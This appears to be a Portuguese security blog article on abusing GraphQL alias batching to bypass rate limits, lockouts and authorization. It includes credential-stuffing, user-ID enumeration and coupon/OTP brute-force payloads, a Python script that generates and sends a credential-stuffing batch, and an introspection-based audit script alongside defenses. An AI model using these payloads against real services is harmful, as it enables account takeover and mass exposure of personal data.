GraphQL Alias Batching como Primitivo de Bypass de Rate-Limit e IDOR
GraphQL foi projetado para dar poder aos clientes — o poder de pedir exatamente o que precisam, composto do jeito que quiserem, em uma única viagem de ida e volta.
Available in English
GraphQL Alias Batching como Primitivo de Bypass de Rate-Limit e IDOR
Legal & Ethical Disclaimer
This content is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes only.
- •Use these techniques on systems you own or have explicit written permission to test
- •Practice in authorized lab environments (VulnHub, HackTheBox, DVWA, etc.)
- •Follow responsible disclosure practices when finding vulnerabilities
- •Use knowledge for defensive security and authorized penetration testing
- •Access systems without explicit authorization
- •Use these techniques for malicious purposes
- •Deploy exploits against production systems you don't own
- •Share working exploits for unpatched vulnerabilities
Legal warning
Unauthorized access to computer systems is illegal in most jurisdictions (e.g. CFAA in the US, Computer Misuse Act in the UK). Violators may face criminal prosecution and civil liability. The author and publisher assume no liability for misuse of this information. By continuing, you agree to use this knowledge ethically and legally.
Hook & Contexto
GraphQL foi projetado para dar poder aos clientes — o poder de pedir exatamente o que precisam, composto do jeito que quiserem, em uma única viagem de ida e volta. Essa composabilidade também é seu paradoxo de segurança. Cada feature que torna GraphQL expressivo para desenvolvedores se torna uma primitiva que atacantes podem encadear. Alias batching é o exemplo mais claro dessa tensão: uma feature pensada para deixar você buscar user duas vezes com argumentos diferentes na mesma query se torna um mecanismo para lançar 50 tentativas de credential-stuffing, 200 probes de user-ID ou 100 palpites de código de cupom em uma única requisição HTTP — uma que seu rate limiter vê como um request.
A maioria da infraestrutura de rate-limiting vive na camada HTTP. Conta requisições por IP, por token, por segundo. Não tem consciência do que está dentro do payload GraphQL. Um firewall que bloqueia depois de 10 logins falhados por minuto vai felizmente observar uma query com alias batching tentando 50 senhas em um único POST e contar como um evento. Isso não é uma misconfiguration do GraphQL — é um impedance mismatch fundamental entre como defesas da era REST pensam em "um request" e como GraphQL realmente funciona.
Este artigo constrói o modelo mental desde os primeiros princípios: por que aliases existem, como eles colapsam múltiplas operações lógicas em um evento a nível de transporte, onde isso quebra controles de IDOR, e como detectar o padrão programaticamente — idealmente antes de qualquer exploração acontecer.
TL;DR
| Dimensão | Detalhe |
|---|---|
| Primitiva | GraphQL alias batching — múltiplos campos com alias em um HTTP POST |
| Alvo de bypass | Limitadores de taxa por requisição, lockouts de brute-force, controles de IDOR |
| Superfície de ataque | Mutations de login, lookups de usuário/recurso, endpoints de validação de token |
| Alavanca de detecção | Introspection + parsing de estrutura de query antes de avaliação de rate-limit |
| Causa raiz | Defesas em camada HTTP são cegas para multiplicidade de operações intra-request |
| Corrigir | Rate limiting em nível de operação, limites de profundidade/contagem de alias, autorização por campo |
Fundações & Teoria
O Que Aliases Realmente São
Em GraphQL, um nome de campo é tanto a chave de query quanto a chave de resposta. Se você queryar user(id: 1) duas vezes com argumentos diferentes, o parser rejeita — você não pode ter duas chaves user no mesmo objeto de resposta. Aliases resolvem isso deixando você renomear a chave de resposta:
query {
u1: user(id: 1) { email }
u2: user(id: 2) { email }
}
O servidor resolve ambos os campos user independentemente e retorna sob as chaves u1 e u2. Isso é legítimo e útil — dashboards que precisam de múltiplos recursos, views de comparação ou lookups agregados todos se beneficiam disso. A especificação GraphQL explicitamente suporta esse padrão. Isso não é um bug. A vulnerabilidade emerge quando infraestrutura de autorização e rate-limiting falha em contar com ela.
O Impedance Mismatch
REST mapeia uma URL + método para uma operação lógica. Rate limiters, WAFs e middleware de auth são construídos sobre essa assunção. GraphQL colapsa N operações lógicas em um evento HTTP. O mismatch fica assim:
O rate limiter dispara uma vez. O resolver dispara cinquenta vezes. Este é o ataque inteiro.
Onde Isso Encaixa no Workflow
Alias batching não é um exploit standalone — é um multiplicador que você aplica a classes de vulnerabilidade existentes. Aqui está onde se encaixa em uma avaliação de segurança de API:
A oportunidade de detecção é no passo A–B: se você fizer parse do output de introspection e flaguar resolvers que aceitam argumentos parecidos com credenciais ou IDs antes de qualquer fase de exploração, você pode avaliar risco sem disparar um único request abusivo contra produção.
Conceitos-Chave em Profundidade
1. Credential Stuffing Baseado em Alias
Considere uma mutation de login:
mutation {
login(username: "alice", password: "hunter2") {
token
error
}
}
Um payload de credential stuffing em alias batching fica assim:
mutation {
a1: login(username: "alice", password: "password1") { token error }
a2: login(username: "alice", password: "password2") { token error }
a3: login(username: "alice", password: "password3") { token error }
# ... até limite de alias ou timeout de servidor
}
Um HTTP POST. Cinquenta invocações de resolver. A resposta é um objeto JSON com cinquenta chaves, cada uma contendo ou um token válido ou um error. Você itera a resposta lado do cliente para extrair sucessos. O contador de account lockout pode nunca disparar porque é tipicamente chaveado a eventos de login falhado rastreados por requisição, não por invocação de resolver — a menos que o desenvolvedor explicitamente tenha implementado isso em nível de resolver.
O teto prático de contagem de alias não é definido pela especificação — é limites de recurso lado do servidor (timeout, memória, max complexity). Muitos servidores GraphQL em produção permitem centenas de aliases antes de bater qualquer constraint. Um gerador de payload em Python:
import requests
def build_credential_stuffing_payload(username, passwords):
aliases = "\n".join(
f' a{i}: login(username: "{username}", password: "{pw}") {{ token error }}'
for i, pw in enumerate(passwords)
)
return {"query": f"mutation {{\n{aliases}\n}}"}
resp = requests.post(
"https://target.example/graphql",
json=build_credential_stuffing_payload("alice@example.com", wordlist),
headers={"Content-Type": "application/json"}
)
results = resp.json().get("data", {})
hits = {k: v for k, v in results.items() if v.get("token")}
2. Enumeração de ID e IDOR via Alias Batching
IDOR em REST é simples: mude GET /users/42 para GET /users/43. Middleware de autorização pode envolver a rota e enforçar verificações de posse — ou pelo menos, é óbvio onde colocá-las. Em GraphQL, o equivalente é um campo query user(id: Int!). O padrão IDOR em alias-batch:
query {
u100: user(id: 100) { id email phone }
u101: user(id: 101) { id email phone }
u102: user(id: 102) { id email phone }
# ... 200 IDs em um request
}
A falha de autorização aqui está em nível de resolver, não em nível de transporte. Se o resolver user checa "o requisitor está autenticado?" mas não "o requisitor é este usuário ou um admin?", cada alias resolve livremente. Você enumera PII para 200 usuários em uma única requisição que infraestrutura de rate-limiting registra como um API call.
Isso mapeia diretamente para OWASP API Security Top 10 2023 — API1: Broken Object Level Authorization. A primitiva de alias não cria a IDOR; ela escala ela além do atrito econômico que throttling por requisição poderia fornecer.
3. Token e Coupon Brute-Force
Tokens de reset de senha, códigos one-time, cupons de desconto e códigos de gift card são todas strings de entropia curta e alto valor. Se a validação é exposta como uma query ou mutation GraphQL, alias batching a transforma em uma primitiva de brute-force:
query {
c1: validateCoupon(code: "SAVE10A") { valid discount }
c2: validateCoupon(code: "SAVE10B") { valid discount }
c3: validateCoupon(code: "SAVE10C") { valid discount }
}
Análogo real-mundo: o relatório de 2022 do HackerOne sobre uma plataforma de e-commerce major onde um OTP validation em alias-batch contornou um lockout de 3-tentativa porque o contador de lockout incrementava por HTTP request, não por chamada de resolver. O alias batch submeteu 100 palpites de OTP em um request e acertou o código correto antes de um segundo request ser necessário.
4. Detectando o Padrão com Parsing de Introspection Automatizado
A aplicação mais defensivamente útil de entender essa primitiva é detectar exposição antes de exploração. O workflow: busque o schema via introspection, identifique assinaturas de resolver de alto risco, e flagque como targets de alias-batching — tudo sem enviar um único payload abusivo.
import requests, json
INTROSPECTION = """
{ __schema { queryType { fields { name args { name type { name kind ofType { name kind } } } } }
mutationType { fields { name args { name type { name kind ofType { name kind } } } } } } }
"""
HIGH_RISK_PATTERNS = ["login", "password", "token", "otp", "code", "user", "account", "verify"]
def audit_schema(endpoint, headers=None):
resp = requests.post(endpoint, json={"query": INTROSPECTION}, headers=headers or {})
schema = resp.json()["data"]["__schema"]
flagged = []
for type_obj in [schema.get("queryType"), schema.get("mutationType")]:
if not type_obj:
continue
for field in type_obj.get("fields", []):
name = field["name"].lower()
if any(p in name for p in HIGH_RISK_PATTERNS):
flagged.append({"field": field["name"], "args": [a["name"] for a in field["args"]]})
return flagged
findings = audit_schema("https://target.example/graphql")
for f in findings:
print(f"[!] High-risk resolver: {f['field']} | args: {f['args']}")
Isso roda como um passo de recon pré-exploração. Combinado com graphql-cop, que faz probe para alias flooding, batching support e introspection exposure, você constrói uma imagem completa de risco na fase de recon da avaliação.
5. Alias Count como um Signal de Complexity
Servidores GraphQL que implementam análise de complexidade de query (ex: graphql-query-complexity) atribuem um custo a cada campo. Mas contagem de alias frequentemente não é fatorada em cálculos de complexidade padrão, porque cada alias resolve o mesmo campo underlying — parece complexidade 1 quando é realmente complexidade N. Servidores rodando Apollo Server, Hasura ou stacks Express-graphql customizados sem regras de complexidade explicitamente alias-aware estão expostos por padrão.
A implicação do lado da detecção: quando você vê um servidor que retorna dados de introspection, suporta mutations e não parece implementar complexity limits (probe com uma query de 10-alias e observe latência/erros), assuma que alias batching funciona até provado ao contrário.
Alternativas & Comparação
Outros mecanismos de batching alcançam efeitos de bypass similares. Entender o landscape ajuda você a escolher a probe certa durante avaliação e recomendar a defesa certa.
| Mecanismo | Como Funciona | Rate-Limit Bypass | Detectável via Introspection | Defesa |
|---|---|---|---|---|
| Alias batching | Múltiplos aliases em uma query | ✅ Forte | ✅ Sim | Limit de alias count, rate limit em nível de resolver |
| Array batching | [{query:...}, {query:...}] POST body | ✅ Forte | ⚠️ Parcial | Desabilitar batch POST, limitar tamanho de array batch |
| Fragment abuse | Fragments repetidos inflam chamadas de resolver | ⚠️ Moderado | ⚠️ Parcial | Query depth + complexity limits |
| Persisted query abuse | Rotar IDs de persisted query rapidamente | ⚠️ Dependente de contexto | ❌ Não | Allowlist-only persisted queries |
| HTTP/2 multiplexing | Stream múltiplos requests distintos | ✅ Forte | ❌ Não | Per-stream rate limiting |
Array batching (enviar um JSON array de objetos de operação) é o parente mais próximo e frequentemente é desabilitado separadamente de alias batching — confirme ambos durante avaliação. Fragment abuse é menos confiável porque a maioria dos servidores implementa max depth limits que o capturam incidentalmente. HTTP/2 multiplexing é uma primitiva em camada de transporte e não requer defesas específicas de GraphQL, mas também não te dá agregação de resposta em single-request.
Minha Análise & Leitura Adicional
Leitura Adicional & Referências
- OWASP API Security Top 10 2023 — API1: BOLA
- GraphQL Specification — Field Aliases
- HackerOne: GraphQL Batching Attack report (Shopify)
- graphql-cop — GraphQL security auditing tool
- InQL — Burp Suite GraphQL security testing extension
- graphql-query-complexity — Node.js query complexity analysis
- PortSwigger: GraphQL API vulnerabilities
- GitLab GraphQL Batching Rate Limit Bypass — CVE-2021-22175
- Escape.tech: GraphQL Security Testing Guide